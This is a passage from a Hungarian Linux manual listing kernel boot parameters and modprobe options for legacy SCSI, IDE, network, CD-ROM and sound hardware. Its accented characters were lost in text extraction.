14.3. A paramterek Plda: mem=96M mem=98304k Ritka alkalommal lehet hogy megtrtnik az, hogy az alaplap nem tudja felszabadtani a RAM teljes mennyisgt. Krjk vonja le az alaplap ltal lefoglalt mennyisget (512 kB-ig normlisnak tekinthet ). A helyes o mennyisget kitallhatja "prblgatssal". Tegyk fel, hogy a plda kedvrt 512 kB: mem=5ff8000 Amikor egy Pentium klnt hasznlunk mem=nopentium ez a sor lehet, hogy bevlik. A SCSI vezrl s a SCSI alrendszer o A legtbb SCSI vezrl t paramterek tadsval kell kongurlni. o SCSI stremaerek st=<buffer>,<threshold>[,<max>] Vltoz <buffer> <threshold> <max> rtk / Jelents Puffer mret (mennyisg 1 kB-os blokkokban) rskszbrtk (mennyisg 1 kB-os blokkokban) Maximum puffermret (opcionlis) (pl. 2) SCSI vezrl o

Plda: st=1000,2000 SCSI meghajtk szmozsa ID tjn max_scsi_luns=<sorszm> Vltoz <sorszm> rtk / Jelents 1..8

Plda: Ha csak az els LUN-t akarjuk hasznlni, be kell lltanunk : o max_scsi_luns=1 Ez tipikusan tkletlen CD lemezcserl k hasznlatnl fordul el , ahol o o a hasznlhat CD-k mennyisge egyenl a paramterrel : o max_scsi_luns=1. Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI felletcsatol aha152x=<addr>,<irq>,<id>[,<rec>[,<par>]] Vltoz <id> (a SCSI csatol ID-je) <rec> (jracsatlakoztats) <par> (parits) rtk / Jelents 0, 1 0, 1 0, 1

Ez a meghajtprogram hasznlatos tbb olcs SCSI vezrl futtatshoz. o Minden SCSI vezrl t tartalmaz hangkrtya o (kivve a Pro Audio Spectrum) az Adaptec lapkval (chip) van szerelve. 387

14. Kernelparamterek Minden, nem eredeti 152x-hez a negyedik paramter (RECONNECT) t u nik szksgesnek. A legtbb tpushoz bellthat a 0 rtk. Csak az AHA2825 kvnja meg az 1-et. Plda: aha152x=0x300,10,7 Adaptec AHA-1540 / 1542 SCSI felletcsatol aha1542=<addr>[,<buson>,<busoff>[,<DMA sebessg>]] Vltoz <busz be> <busz ki> <DMA sebessg> rtk / Jelents 2..15 1..64 5,6,7,8,10

Plda: aha1542=0x300 Adaptec AHA-274x / 284x / 294x felletcsatol aic7xxx=<modifier>[,<modifier>[, ...]] Vltoz <modifier> rtk / Jelents extended a merevlemez geometria fordtsnak aktivlsa no_reset a reset letiltsa a SCSI busz felletcsatoljnak inicializlsakor irq_trigger:<x> Csak Eisa rendszereken 0 vezrl jel szeglyezshez, o 1 emelt hajtshoz verbose tbb zenetet ad reverse_scan Ha sszetett krtykat rosszul kezel a BIOS 7895_irq_hack:<x> -1 csak Tyan II alaplapokhoz pci_parity:<x> ha pci_parity-t nem hasznl egyltaln pros parits 0 nincs paritsellen rzs o 1 pros parits tag_info: Vrakozsi sor-kezelst a teljestmnyb vtshez o szakszer en, lsd a kernelforrsokban u

Plda: aic7xxx=no_reset, ha a szmtgp lefagy a SCSI busz aalphelyzetbe lltsa sorn. A aic7xxx alap SCSI csatolkhoz csak akkor szksgesek paramterek, ha azok hibsak, vagy rosszul m kdnek. u 388

14.3. A paramterek 1.3-as BIOS verzi, s afltt az AHA-2940 AU-k nem okoznak gondot. Frisstshez az Adaptec tmogatsnl juthatunk hozz. Az Adaptec 2920 SCSI csatol m kdtethet a Future Domain meghaju o tprogrammal is (lsd a 14.3.2 fejezetet).

AdvanSys SCSI felletcsatol advansys=<addr1>,<addr2>,...,<addrN> Plda: advansys=0x110,0x210 Ez a plda rtesti a kernelt arrl, hogy az AdvanSys felletcsatolt a megadott cmeken keresse.

AM53/79C974 SCSI felletcsatol AM53C974=<host-id>,<target-id>,<rate>,<offset> Vltoz <host-id> <target-id> <rate> <offset> rtk / Jelents a felletcsatol SCSI ID-je (ltalban 7) a meghajt SCSI ID-je (0..7) 3,5,10 MHz/s max. tviteli sebessg tviteli md; 0 = aszinkron

Ha gy t nik, hogy a felletcsatol elnyel nhny csomagot, cskkentu sk a legnagyobb tviteli sebessget az eszkzmeghajt szmra (pl. az els CD-ROM SCSI meghajt /dev/scd0 ID 5-tel) a SCSI buszon a o kvetkez vel: o Plda: AM53C974=7,5,3,0

BusLogic SCSI felletcsatol BusLogic=<addr> BusLogic=<probing> Plda: BusLogic=0x300 389

14. Kernelparamterek

Vltoz <addr> <probing>

rtk / Jelents Cm a csatol szmra, pl. 0x300 NoProbe Nem keresi a csatolt NoProbeISA Nem keresi az ISA csatolt NoProbePCI Nem keresi a PCI csatolt NoSortPCI Parancs multimaster csatol vlasztsra a PCI BIOS-ban MultiMasterFirst Multimaster miel tt Flashpoint o FlashPointFirst Flashpoint miel tt Multimaster o InhibitTargetInquiry Rgebbi meghajtkhoz, melyeknek problmik vannak a scsi_luns > 0 cmmel TraceProbe kiegszt zenetek megjelentshez o a csatol inicializlsa alatt TraceHardwareReset kiegszt zenetek o megjelentshez a csatol hardver-resetje sorn TraceConfiguration hibazenetek megjelentse megjelentshez a csatol belltsa sorn TraceErrors hibazenetek megjelentse csatlakoztatott eszkzknl Debug minden zenet megjelentse

Ez a felletilleszt mg sok ms paramtert is megrt. o Ezek a csatol nomhangolsra valk s a lersuk a /usr/src/linux/meghajts/scsi/README.BusLogic fjlban tallhat. Future Domain TMC-16x0 SCSI felletilleszt o fdomain=<addr>,<irq>[,<id>] Vltoz <id> rtk / Jelents SCSI ID a felletilleszt hz 0..7 o

Ez az eszkzmeghajt vezrli az Adaptec 2920 -at is. Plda: fdomain=0x140,11,7 Future Domain TMC-885/950 felletilleszt o tmc8xx=<addr>,<irq> Plda: tmc8xx=0xca000,5 NCR 5380 SCSI felletilleszt csald o ncr5380=<addr>,<irq>,<dma> Plda: ncr5380=0x340,10,3 NCR 53c400 SCSI felletilleszt csald o ncr53c400=<addr>,<irq> Plda: ncr53c400=0x350,5 390

14.3. A paramterek NCR 53c406a SCSI felletilleszt csald o ncr53c406a=<addr>[,<irq>[,<fastpio>]] Vltoz <gyors pio> rtk / Jelents 0, ha nem gyors PIO md szksges

Plda: ncr53c406a=0x330,10,0 Seagate ST01/02 SCSI felletilleszt o st0x=<addr>,<irq> Plda: st0x=0xc8000,5 Trantor T128/128F/228 SCSI felletilleszt o t128=<addr>,<irq> Plda: t128=0x340,10 (E)IDE vezrl k s ATAPI eszkzk o Tbb paramter vehet ignybe az (E)IDE vezrl k belltsra s a velk (E)IDE o o sszefggsben lv eszkzkhz. o vezrl k o ATAPI ATAPI CD-ROM (E)IDE vezrl n o eszkzk hd<x>=cdrom hd<x>=serialize Vltoz <x> ahol a: Vltoz a b c d rtk / Jelents mester az els IDE vezrl n o o szolga az els IDE vezrl n o o mester a msodik IDE vezrl n o szolga a msodik IDE vezrl n o rtk / Jelents a, b, c, d

Plda: egy ATAPI CD-ROM belltsa mesterknt a msodik IDE vezrl n hdc=cdrom. o Merevlemez
hd<x>=<cilinderek>,<fejek>,<szektorok>[,<rs>[,<irq>]]

Vltoz <x> <cilinderek> <fejek> <szektorok> <rs> <irq>

rtk / Jelents a, b, . . . , h 1-t l 8. merevlemez o cilinderek szma fejek szma szektorok szma cilinderek melyek utn rskompenzcit kell hasznlni megszakts 391

14. Kernelparamterek Ha a BIOS a rgebbiek kzl val, lehetsges hogy a merevlemez geometrijt nem pontosan ismerte fel. A helyes paramtereket t kell adnunk a kernelnek azrt, hogy mgis el tudjuk rni a teljes merevlemezt. Plda: hdc=1050,32,64 hd<x>=<trouble> Vltoz <x> <trouble> rtk / Jelents a, b, . . . , h 1-t l 8. merevlemez o noprobe, ha egy ltez merevlemez o okoz problmkat none mell zze a CMOS bejegyzseket o s ne teszteljen nowerr mell zze a WREE_STAT-bitet o cdrom rosszul, merevlemezknt trtn o felismersnl, vagy ha egyltaln nem ismerte fel, vagy csak nem akar bootolni autotune gyorsabb PIO md hasznlathoz slow hosszabb sznet adsa minden egyes elrsnl. Ez valban lass, de nha segt ha mr csak ez a lehet sg marad. o

Ha egy CD-ROM-ot nem megbzhatan ismer fel a rendszer, akkor adjuk meg a <cdrom> bejegyzst az eszkz biztonsgos kezelshez. Plda: hdd=cdrom EIDE vezrl chipkszletek o Nhny EIDE vezrl chipkszlete hibs, vagy problmkat okoz, ha mo sodlagos vezrl knt hasznljuk. o E chipkszletek tbbsgt mr tmogatja a kernel; azonban a tmogatst kln kell aktivlni a megfelel kernelparamter hasznlatval. o A kvetkez chipkszletek vannak kongurlva: o

CMD 640

Ez a lapkakszlet sok alaplapon megtallhat. Mivel sok hibt tartalmaz, a kernel felajnl egy klnleges tmogatst, mely felismeri a lapkt, s megkerli a problmkat. Radsul nhny esetben a msodlagos vezrl hasznlata csak klnleges to mogatssal lehetsges. PCI rendszerekben ezt a lapkt automatikusan felismeri a kernel. VLB rendszerekhez a kvetkez parao mter szksges: ide0=cmd640_vlb.

14.2 tblzat: folytats a kvetkez oldalon...... o

392

14.3. A paramterek

RZ 1000

DTC-2278

Holtek HT6560B ide0=ht6560b QDI QD6580 ide0=qd6580 UMC 8672 ALI M1439/M1445 PROMISE DC4030

Ezt a lapkt tbb Neptun lapkakszletes alaplap hasznlja s sok hiba van benne. Ha a lapka tmogatst aktivljuk, a rendszer egy kicsit lassabban, de megbizhatbban fog m kdni. Az aktivlshoz kiegu szt kernel paramterre nincs szksg. o Csak az ide0=dtc2278 paramter aktivlsval lehetsges a msodlagos vezrl o hasznlata. A kvetkez paramter szksges a msodo lagos vezrl hasznlathoz: o Ha ezt az eszkzmeghajtt aktivljuk, azzal engedlyezzk a nagyobb sebessget: A msodlagos vezrl aktivlshoz a ko vetkez paramter kell: ide0=umc8672 o A msodlagos vezrl aktivlshoz a ko vetkez paramter kell: ide0=ali14xx o A msodlagos vezrl aktivlshoz a ko vetkez paramter kell: ide0=dc4030. A o CD-ROM-okat, s a szalagos egysgeket a msodlagos vezrl ennek ellenre sem to mogatja.

14.2 tblzat: Specilis EIDE lapka kszletek

Ha a lapkakszlet nincs az ismert hibs lapkakszletek listjban, s ennek ellenre nem ismeri fel a kernel, helyette a kvetkez paramtereket adhatjuk: o ide<szm>=<alap>[,<vezrl>[,<irq>]] o Vltoz <number> <basis> <control> <irq> rtk / Jelents csatol szma, hasznlhat 0 vagy 1, esetleg 3 vagy 4 a vezrl alapcme, o hasznlhat 0x1f0, 0x170, 0x1e8 vagy 0x168 a csatol vezrl regisztere, o hasznlhat 0x3f6, 0x376, 0x3ee vagy 0x36e a vezrl megszaktsa, o hasznlhat 14, 15, 11 vagy 10

Ha a lapkakszlet nincs az ismert hibs lapkakszletek listjban, de mgis problmt okoz, helyette a kvetkez paramtereket adhatjuk: o ide<szm>=<bellts> 393

14. Kernelparamterek

Vltoz <number> <tune>

rtk / Jelents csatol szm, hasznlhat 0 vagy 1, de 3 vagy 4 is autotune a legmagasabb lehetsges PIO rtk kiprblsa, nem minden lapkakszlete tmogatja noautotune nincs sebessgjavts serialize nincs id tlapols eljrs o a kvetkez csatolval o

Ha a lapkakszlet nincs az ismert hibs lapkakszletek listjban, de mgis a lehetsges legmagasabb sebessget kell elrni, a buszsebessg meghatrozhat; nzzk meg az alaplap kziknyvben. idebus=<sebessg> Ms eszkzk Hlzati krtyk, oppy meghajtk Ethernet hlzati krtyk
ether=<irq>,<cm>[,<par1>[,<par2>...<par8>]],<Nv>

A klnbz paramterek <par1>-t l <par8>-ig klnbz jelentso o o sel brnak minden egyes eszkzmeghajt esetn. Rendszerint csak kt paramterre van szksg, ahol az els a kezd cm, a msodik a vgcm a o o megosztott memri-bl. Az els nem numerikus argumentum tekinthet o o a nvnek. <irq> <addr> <start> a hasznlt megszakts; 0 autoprbhoz port cm; 0 autoprbhoz kezd cm a megosztott memrihoz. Nhny meghajt o az als 4 bitet a hibakeresshez hasznlja. A Lance DMA csatornkhoz hasznlja oket. vgcm a megosztott memrihoz. A 3COM 3c503 meghajt ezeket a paramtereket a bels s kls irnyo o csatolk megklnbztetsre hasznlja fel. A Cabletron E21XX krtya az als ngy bitet a mdia kivlasztshoz hasznlja. A felletilleszt neve (alaphelyzetben eth0) o

<end>

<Name>

14.3 tblzat: Vltoznevek Ethernet hlzati krtykhoz

A f rv e paramterek megadshoz az, hogy a kernel felismerhessen o tbb hlzati krtyt is, mert alaprtelmezsben csak az els krtyt keo resi. Ezt knnyen megtehetjk ezzel:
ether=0,0,eth1

394

14.3. A paramterek Ne felejtsk el, hogy a 0 kikerli mindkt IRQ s cm hozzrendelst, a meghajtprogram hatrozottan megparancsolja a z autoprobing indtst, amely a klnbz cmeket egymstl fggetlenl vgigprblja. o Floppylemez meghajtk floppy=<meghajt>,<tpus>,cmos Vltoz <meghajt> <type> rtk / Jelents 0, 1, 2, 3 0 - ismeretlen, vagy nem felismert 1 - 5 1/4-Zoll DD, 360 kB 2 - 5 1/4-Zoll HD, 1.2 MB 3 - 3 1/2-Zoll DD, 720 kB 4 - 3 1/2-Zoll HD, 1.44 MB 5 - 3 1/2-Zoll ED, 2.88 MB 6 - 3 1/2-Zoll ED, 2.88 MB

floppy=<rtk> <rtk>-knt a kvetkez vltozk llthatk be ( 14.4 tblzat): o

all_drives asus_pci

daring

0,daring <cm>,two_fdc

thinkpad 0,thinkpad omnibook nodma dma nofifo

fifo 0xX,fifo_depth unexpected_interrupts

tbb mint kt oppymeghajt harmadik s negyedik oppymeghajt elrsnek elutastsa csak megbzhat vezrl k o hasznlatnlkiemelt teljestmnnyel ellenttes rtelm mint a u daring ha a <cm> rtke kimarad msodlagos oppyvezrl o hasznlata sorn, egy portcm 0x370 lltdik be. IBM Thinkpad gpek nem Thinkpad gpek Omnibook szmtgpek Omnibook szmtgpekhez Standard ha egy "Bus master arbitration error" trtnik Standard FIFO standard kszb 0xA rjon ki egy gyelmeztetst, ha valamilyen vratlan hiba trtnik.

14.4 tblzat: folytats a kvetkez oldalon...... o

395

14. Kernelparamterek

no_unexpected_interrupts L40SX

s... ezek az rtkek ellenttes rtelm ek u a unexpected_megszaktssal.

14.4 tblzat: Kernelparamter rtkek floppy-hoz

Logitech buszegr bmouse=<irq> 14.3.3 Rgebbi CD-ROM meghajtk CD-ROM meghajtk sajt vezrl vel o

Aztech CDA268-01 CD-ROM aztcd=<cm>[,0x79] A 0x79 rtket csak akkor kell belltani, ha a rmware verzi ismeretlen. Plda: aztcd=0x320 Goldstar R420 CD-ROM meghajt gscd=<addr> Mitsumi CD-ROM meghajt mcd=<cm>,<irq>[,<vrakozs>] Vltoz <wait> rtk / Jelents a vrakozsi id rtke az indulsig o

Vltoztathatja a <vrakozs> paramtereit 0 s 10 kztt ha a CDROM meghajt nem reagl elg gyorsan a rendszer krseire ("timeout") s emiatt nem tallja a root image-et a telepts sorn. Plda: mcd=0x300,10,5 Mitsumi CD-ROM meghajt (multisession) mcdx=<cm>,<irq> Plda: mcd=0x300,10 Mozart csatol isp16=<cm>,<irq>,<dma>,<tpus> Vltoz <tpus> 396 rtk / Jelents Sanyo, Panasonic, Sony, Mitsumi

14.3. A paramterek Ez a meghajt felel s az ISP16 , MAD16 vagy Mozart tpus CD-ROM o meghajtk sszekapcsolsrt. A <tpus> rtkt kveti a csatol, ahol a CD-ROM-ot sszekapcsoltuk a hangkrtyval. Plda: isp16=0x340,10,3,Sony Optics Storage 8000 AT CD-ROM meghajt optcd=<cm> Plda: optcd=0x340 Philips CM206 CD-ROM meghajt cm206=<cm>,<irq> Plda: cm206=0x340,10 Pro Audio Spectrum 16 - SCSI felletilleszt o pas16=<cm>,<irq> A Pro Audio Spectrum 16 hangkrtyn egy SCSI-felletilleszt is tallo hat, a belltsait t kell adni a kernelnek ezekkel a paramterekkel. Plda: pas16=0x340,10 Ha a krtya nem ismer dik fel, akkor megszakts (irq) nlkl m kdik. o u Ebben az esetben a megszaktst lltsuk 255-re. Plda: pas16=0x340,255 Sanyo CD-ROM meghajt sjcd=<cm> Plda: sjcd=0x340 Sony CDU 31/33 A cdu31a=<cm>,<irq> Autoprba hatsra ez a meghajt eltvoltdik a kernelb l. Ezrt neknk o kell egyrtelm paramtereket megadnunk. u Plda: cdu31a=0x340,5 Ha itt nem rendelnk megszaktst a meghajthoz, s ha csak megszltsos zemmdon keresztl kvnjuk elrni, akkor 0-t adjunk meg IRQ-nak. Plda: cdu31a=0x340,0 Pldul, ha a meghajt egy Pro Audio Spectrum krtyhoz van csatlakoztatva, az engedlyezett paramter a kvetkez : o Plda: cdu31a=0x1f88,0,PAS Sony CDU 535 sonycd535=<addr>,<irq> Plda: sonycd535=0x340,10 SoundBlaster Pro 16 MultiCD sbpcd=<cm>,<tpus> Vltoz <tpus> rtk / Jelents LaserMate, SPEA, SoundBlaster

Plda: sbpcd=0x340,10 397

14. Kernelparamterek A prhuzamos port Prhuzamos port Prhuzamos port parport=<cm0>,[<irq0> [parport=<cm1>,[<irq1> [parport=<cm2>,[<irq2>]]]]] Vltoz <addrX> <irqX>
Plda:

rtk / Jelents cmek megszakts

parport=0x3bc parport=0x378,7 parport=0x278,auto

Nyomtat a prhuzamos porton lp=<parport0> [lp=<parport1> [lp=<parport2>]] Vltoz <parportX> rtk / Jelents prhuzamos port

Plda: lp=parport0 lp=parport2 14.3.4 modprobe paramterek Ebben a bekezdsben lerjuk azokat a paramtereket, amelyek modulknt val betlt dskor szksgesek lehetnek. Ha nehzsgbe tkznk egy mego hajt betltse sorn (habr megadtuk a paramtereket), vagy ha itt nem talljuk a paramter lerst, akkor a meghajtt be kell pteni egy monolitikus kernelbe. Nhny meghajt nem pthet be modulknt eddig, s nhny csak akkor o ismeri fel a hardver tulajdonsgait, ha a kernelbe fordtottuk oket. Ennek ellenre azt javasoljuk, hogy a modul vltozatot prbljuk el szr. o Ha egy meghajt modulknt tlt dik be, egyes hasznlt vltozk, vagy mindo egyik fellrhat parancssorbl. Van pl. az io vltoz a NE2000 meghajthoz, amely meghatrozza a hasznlt I/O rtket. Ennek a pontos parancsa a modul betltshez (lsd a 13.2 . fejezetben (376. oldal)):
meggyfa:/ # insmod ne io=0x300 irq=10

vagy jobb a modprobe hasznlata:


meggyfa:/ # modprobe ne io=0x300 irq=10

Ne felejtsk el, hogy az egyenl el tt s utn nincs szkz. Azonkvl o o a hexadecimlis rtkeket megadott formtumban kell bevinni (egy vezet o 0x-el). Ha tbb paramtert kvnunk megadni, akkor szkzzel kell oket elvlasztani. Ez a legf bb klnbsg a paramterek LILO promptnl val bevitelo hez kpest, ahol nincs res hely egy meghajt paramtereinek hasznlatn bell. Az itt bert paramterek be vannak ptve a /etc/modules.conf-ba is. Itt sok paramter hozz van rendelve egy bizonyos modulhoz. Itt tbb sor van modulonknt. A sorok a kvetkez kre fognak hasonltani: o 398

14.3. A paramterek
options <modul neve> <parm1>=<rtk1> ...

ahol a: Vltoz <modul neve> <parm1> <rtk1> rtk / Jelents a modul neve kiterjesztse nlkl .o paramter #1 rtk, amelyet a paramterhez rendelnk #1

Egy NE2000 krtyhoz kszlt bejegyzs gy nz ki:


options ne io=0x300 irq=10

SCSI vezrl k s a SCSI alrendszer o Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI-Felletilleszt o Modul neve: aha152x.o Vltoz <io> <irq> <id> <rec> <par> <sync> <delay> <translat> rtk / Jelents <cm> <irq> a felletilleszt SCSI-ID-je; alaprtelmezsben, 7 o jracsatlakoztats; 0, 1 parits; 0, 1 m veletek egyidej mdja; 0, 1 u u busz ksleltets; alaprtelmezsben 100 a merevlemez geometria lefordtsa; 0, 1

A LILO prompt-nl: Plda: Plda: modprobe aha152x aha152x=0x340,10,7,1,1,0,0,0 Egy msodik felletilleszt hz: o Plda: modprobe aha152x aha152x1=0x140,12,7,1,1,0,0,0 Future Domain TMC-16x0felletilleszt o Modul neve: fdomain.o Ez a meghajt szolglja ki az Adaptec 2920 SCSI-felletilleszt t is, tbo bek kztt. fdomain=<cm>,<irq>[,<id>] Vltoz <addr> <irq> <id> rtk / Jelents <cmr> <irq> <id>

A LILO prompt-nl: Plda: Plda: modprobe fdomain fdomain=0x140,11,7 NCR 5380 bzw. NCR 53C400 SCSI-felletilleszt csald o Modul neve: g_NCR5380.o 399

14. Kernelparamterek

Paramter ncr_addr ncr_irq ncr_dma ncr_5380 ncr_53c400

rtk <cm> <irq>; kikapcsols 255-el <dma> 1 NCR5380 adapterhez 1 NCR53C400 adapterhez

NCR5380 adapterhez: Plda: modprobe g_NCR5380 ncr_irq=5 ncr_addr=0x350 ncr_5380=1 NCR53C400 csatolnl a megszakts kikapcsolshoz: Plda: modprobe g_NCR5380 ncr_irq=255 ncr_addr=0xc8000 ncr_53c400=1 Ez a meghajt kiszolglja a szles krben hasznlt Trantor T130B SCSI felletilleszt t is. o Hlzati krtyk 3Com 3c501 / 3c503 / 3c505 / 3c507 hlzati krtyk Modul neve: 3c501.o,3c503.o,3c505.o,3c507.o Paramter io irq rtk <cm> <irq>

Plda: Plda: modprobe 3c509 io=0x300 irq=10 3Com 3c509 / 3c579 hlzati krtyk Modul neve: 3c509.o Paramter irq xcvr rtk <irq> 0: bels ; 1: kls o o

Plda: modprobe 3c509 irq=10 xcvr=0 3Com 3c515 hlzati krtya Modul neve: 3c515.o Plda: modprobe 3c515 3Com 3c59x / 3c90x hlzati krtyk ("Vortex"/"Boomerang") Modul neve: 3c59x.o A Compaq szmtgpekhez (PCI), prbljuk ki a kvetkez paramtereo ket: Paramter compaq_io_cm compaq_irq compaq_prod_id 400 rtk <cm> <irq> <id>

14.3. A paramterek Plda: modprobe 3c59x compaq_irq=10 Allied Telesis AT1700 hlzati krtya Modul neve: at1700.o Paramter io irq rtk <cm> <irq>

Plda: modprobe at1700 io=0x300 irq=10 Cabletron E21xx hlzati krtya Modul neve: e2100.o Paramter io irq mem xcvr rtk <cm> <irq> <cm> 0: bels ; 1: kls o o

Plda: modprobe e2100 io=0x300 irq=10 mem=0xd000 xcvr=0 Digital DE425 / 434 / 435 / 450 / 500 hlzati krtyk Modul neve: de4x5.o io=0x<bus><meghajt ID> Paramter busz meghajt ID rtk a PCI busz szma, hasznlhat 0 a PCI meghajt azonostja

A mai PCI BIOS-ok ezeket a fjlokat kijelzik amikor a gp indul, s a Linuxban ezzel a paranccsal megjelenthet k: o
meggyfa: # cat /proc/pci

Plda: modprobe de4x5 io=0x007 Digital DEPCA / DE10x / DE20(012) / DE42, EtherWORKS hlzati krtyk Modul neve: depca.o Paramter io irq mem adapter_name rtk <cm> <irq> <mem> <nv> pl. DEPCA, de100, de101, de200, de201, de202, de210, de422

Plda: modprobe depca io=0x300 irq=10 401

14. Kernelparamterek EtherWORKS 3 (DE203, DE204, DE205) hlzati krtya Modul neve: ewrk3.o Paramter io irq rtk <cm> <irq>

Plda: modprobe ewrk3 io=0x300 irq=10 Intel EtherExpress 16 hlzati krtya Modul neve: eexpress.o Paramter io irq rtk <cm> <irq>

Plda: modprobe eexpress io=0x300 irq=10 Intel EtherExpressPro hlzati krtya Modul neve: eepro.o Paramter io irq mem rtk <cm> <irq> <cm>

Plda: modprobe eepro io=0x300 irq=10 mem=0xd000 Intel EtherExpressPro 100 hlzati krtya Modul neve: eepro100.o A Intel EtherExpressPro a z i82557/i82558 chipet tartalmazza. Paramter opcik rtk <duplex mkds> u <busz-irnycsatol> 16 full-duplex 32 csak 100 Mbit-es m velet u 64 csak 10 Mbit-es m velet u

Plda: modprobe eepro100 options=48 Ez belltja a full-duplex-et s a 100-Mbit-es m veleteket egyidej leg u u (48 = 32 + 16). Fujitsu FMV-181/182/183/184 hlzati krtya Modul neve: fmv18x.o Paramter io irq rtk <cm> <irq>

Plda: modprobe fmv18x io=0x300 irq=10 402

14.3. A paramterek HP PCLAN+ (27247B and 27252A) hlzati krtya Modul neve: hp-plus.o Paramter io irq rtk <cm> <irq>

Plda: modprobe hp-plus io=0x300 irq=10 HP PCLAN (27245 / 27xxx) Modul neve: hp.o Paramter io irq rtk <cm> <irq>

Plda: modprobe hp io=0x300 irq=10 HP 10/100 VG-AnyLAN (ISA, EISA, PCI) hlzati krtya Modul neve: hp100.o Paramter hp100_port rtk <cm>

Plda: modprobe hp100 hp100_port=0x300 ICL EtherTeam 16i / 32 hlzati krtya Modul neve: eth16i.o Paramter io irq rtk <cm> <irq>

Plda: modprobe eth16i io=0x300 irq=10 Novell NE2000 / NE1000 hlzati krtya Modul neve: ne.o Paramter io irq bad rtk <cm> <irq> bad, csak akkor, ha a krtya nem felismert

Plda: modprobe ne io=0x300 irq=10 NI6510 (AM7990 "lance" Chip) hlzati krtya Modul neve: ni65.o 403

14. Kernelparamterek

Paramter io irq dma

rtk <cm> <irq> <dma>

Plda: modprobe ni65 io=0x300 irq=10 SMC Ultra hlzati krtya Modul neve: smc-ultra.o Paramter io irq rtk <cm> <irq>

Plda: modprobe smc-ultra io=0x300 irq=10 SMC 9194 hlzati krtya Modul neve: smc9194.o Paramter io irq if_port Vltoz <eszkz> rtk <cm> <irq> <eszkz> rtk / Jelents 0 auto 1 TP 2 AUI, 10base2

Plda: modprobe smc9194 io=0x300 irq=10 if_port=2 Western Digital WD80x3 hlzati krtya Modul neve: wd.o Paramter io irq mem mem_end rtk <cm> <irq> <mem> <mem_end>

Plda: modprobe wd io=0x300 irq=10 IBM Tropic chipset Token Ring hlzati krtya Modul neve: ibmtr.o Paramter io irq mem_start rtk <cm> <irq> <mem_start>

Plda: modprobe ibmtr io=0x300 404

14.3. A paramterek D-Link DE620 Pocket-Adapter hlzati krtya Modul neve: de620.o Paramter io irq bnc utp clone rtk <cm> <irq> 1 ha BNC a bemenet/kimenet 1 ha UTP a bemenet/kimenet 1 ha egy egyenrtk meghajt u

Plda: modprobe de620 io=0x300 irq=10 bnc=1 utp=0 Sajt CD-ROM meghajtk A kvetkez paramterek a specilis vezrl re csatlakoz CD-ROM CD-ROM o o meghajtkra vonatkoznak. Brki, akinek van egy ebb l a "rgisgb l", meghajtk, o o biztosan ismeri azt rszletesen... sajt Aztech CDA268-01 CD-ROM meghajt Modul neve: aztcd.o Paramter aztcd rtk <cm>

Plda: modprobe aztcd aztcd=0x300 Goldstar R420-CD-ROM meghajt Modul neve: gscd.o Paramter gscd rtk <cm>

Plda: modprobe gscd gscd=0x300 Mitsumi CD-ROM meghajt Modul neve: mcd.o mcd=<cm>,<irq>[,<vrakozs>] Vltoz <vrakozs> rtk / Jelents Indtsi id ksleltets o

Vltoztathatjuk a <vrakozs> paramtereit 0 s 10 kztt ha a CDROM meghajt nem reagl elg gyorsan a rendszer krseire ("timeout") s emiatt nem tallja a root image-t a telepts sorn. Plda: modprobe mcd mcd=0x300,10,5 Mitsumi CD-ROM meghajt (Multisession) Modul neve: mcdx.o mcdx=<cm>,<irq>[,<cm>,<irq>] A meghajt belltsainak szmt <cm>,<irq> ngyszer lehet megismtelni. 405

14. Kernelparamterek Mozart hangkrtya CD-ROM meghajt csatlakozval Modul neve: isp16.o isp16_cdrom_base=<cm> isp16_cdrom_irq=<irq> isp16_cdrom_dma=<dma> isp16_cdrom_type=<tpus> Vltoz <tpus> rtk / Jelents Sanyo, Panasonic, Sony, Mitsumi

Ez a meghajt nem egy valdi CDROM meghajt; csak a CD-ROM meghajt felletnek belltsrt felel s, amikor csatlakoztatjuk azt egy o ISP16 , MAD16 vagy Mozart hangkrtyhoz. Miutn ez a meghajt betlt dtt, ennek megfelel en csak a fellet ll rendelkezsre; a megfelel o o o CDROM meghajtt szintn be kell tlteni. A <tpus> rtke lerja hogy melyik csatlakozba dugtuk be a CD-ROM kbelt a hangkrtyn. Plda: modprobe isp16 isp16_cdrom_base=0x300 isp16_cdrom_irq=10 isp16_cdrom_dma=1 isp16_cdrom_type=sony Optics Storage 8000 AT CD-ROM meghajt Modul neve: optcd.o Paramter optcd rtk <cm>

Plda: modprobe optcd optcd=0x300 Philips CM206 CD-ROM meghajt Modul neve: cm206.o cm206=<cm>,<irq> Plda: modprobe cm206 cm206=0x300,10 Sanyo CD-ROM meghajt Modul neve: sjcd.o Paramter sjcd rtk <cm>

Plda: modprobe sjcd sjcd=0x300 Sony CDU 31/33 A Modul neve: cdu31a.o Paramter cdu31a_port cdu31a_irq
Plda:

rtk <cm> <irq>

modprobe cdu31a cdu31a_port=0x300 cdu31a_irq=10

406

14.3. A paramterek Sony CDU 535 Modul neve: sonycd535.o Paramter sonycd535 rtk <cm>

Plda: modprobe sonycd535 sonycd535=0x300 Soundblaster Pro 16 MultiCD Modul neve: sbpcd.o sbpcd=<cm>,<tpus> amib l a <tpus> a kvetkez rtk lehet: o o Vltoz 0 1 2 3 rtk / Jelents LaserMate SoundBlaster SoundScape Teac16bit

Plda: modprobe sbpcd sbpcd=0x300,0 Hangkrtyk s hang lapkakszletek A 2.2.xx kernel ta a hangtmogatst modulris formban oldottk meg s Hang tbb paramterrel vezrelhet . o AD1816 Chip Modul neve: ad1816.o A kvetkez krtyk, tbbek kztt, tmogatottak: Terratec Base 1, Tero ratec Base 64, HP Kayak, Acer FX-3D, SY-1816, Highscreen SoundBoostar 32 Wave 3D Paramter io irq dma dma2 ad1816_clockfreq rtk <cm> <irq> <dma> <dma2> <clockfreq>

Plda: modprobe ad1816 io=0x530 irq=5 dma=1 dma2=3 ad1816_clockfreq=33000 AD1848/CS4248 Chip (MSS) Modul neve: ad1848.o Paramter io irq dma dma2 type deskpro_xl rtk <cm> <irq> <dma> <dma2> <krtyatpus> <magic> 407

14. Kernelparamterek ltalnos OPLx meghajt Modul neve: adlib_card.o Paramter io rtk <cm>

Plda: modprobe adlib_card io=0x330 Crystal 423x chipsets Modul neve: cs4232.o Paramter io irq dma dma2 rtk <cm> <irq> <dma> <dma2>

